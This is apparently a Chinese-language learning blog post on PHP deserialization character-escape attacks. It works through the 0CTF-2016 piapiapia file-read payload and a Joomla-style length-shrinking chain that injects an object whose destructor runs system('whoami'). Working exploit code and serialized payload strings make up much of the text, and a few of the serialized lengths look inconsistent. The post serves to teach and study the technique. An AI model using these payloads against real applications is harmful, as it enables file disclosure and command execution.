PHP 反序列化字符逃逸学习

PHP 反序列化字符逃逸学习

学习分析过程

因为是看别人的文章来分析学习,而且大佬的文章刚一拿来是有好多地方都看不懂,直到自己去体会分析代码才明白为啥要这样做,参考文章中的两个例子,一个是长度缩短,另一个是长度增加的利用,其实原理差不多

0CTF-2016-piapiapia中的利用

<?php
$a=array("peri0d","aaaaa");
var_dump(serialize($a));
?>
//a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

这里我们对输出的字符串进行修改

<?php
$a=array("peri0d","aaaaa");
var_dump(serialize($a));
$a='a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}dasddasdaffsacfafa';
var_dump(unserialize($a));
?>

在这里插入图片描述
可以看到还是可以输出的
但是我们修改一下长度

<?php
$a=array("peri0d","aaaaa");
var_dump(serialize($a));
$a='a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}dasddasdaffsacfafa';
var_dump(unserialize($a));
?>

就会报错不允许输出,这道题的poc就是利用了这样的方法进行绕过进行替换
这里就不对题目进行分析了,感兴趣的可以去看下源码,这里对poc进行分析
这个是序列化之后的字符串

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

这里的204对应的是

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

的长度,共填充了34个where,在题目中用正则把where替换成hacker之后就变成了

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

这时候的204个字符就全都变成了hacker*34,后面的

;s:5:"photo";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

也就被抛弃了,从而可以读取文件

joomla中的利用

代码是从大佬那里哪来的,具体如下

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "peri0d";
$password = "1234";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

username和password我们是可控的
大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,我们刚才的payload需要进行修改才可以用,首先,正常经过序列化的只有两个参数,而我们构造的有三个,正好结合前面的长度缩短删除掉一个参数即可实现,所以最终的payload应该是这样的。

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
unserialize($aa);

我们来对比一下序列化之后的字符串

O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

可以看出两个不同的就是

peri0d";s:8:"password";s:4:"1234

目的就是要把利用长度缩减把password字段给包括到username字段里,这一部分,他的长度是32要去掉
这里面我们的payload是

s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

长度为47
我们只能控制两个参数就是username和password,我们为了保证password字段被username吃掉而且还要保证payload能够被利用,payload就要放在password字段中传入,通过username字段进行缩减从而达到目标,有了思路,就开始构造。

$username = "peri0d";
$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

这里我们需要删除的是

";s:8:"password";s:55:"123455

他的长度是28
在正则中

str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

我们每次只能删除的长度是3,所以字符串长度应该是3的倍数,那么就把长度减一,变成27即可,需要9个\0\0\0

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

执行一下

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

在这里插入图片描述
可以看到我们的payload已经执行了。

小结

之前只是简单的学习了一下反序列化,所以这里理解还是有一点困难,需要自己进行调试与对比才能发现这里的利用点,与思路。

参考文章

https://blog.csdn.net/zz_Caleb/article/details/96777110
https://xz.aliyun.com/t/6718

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值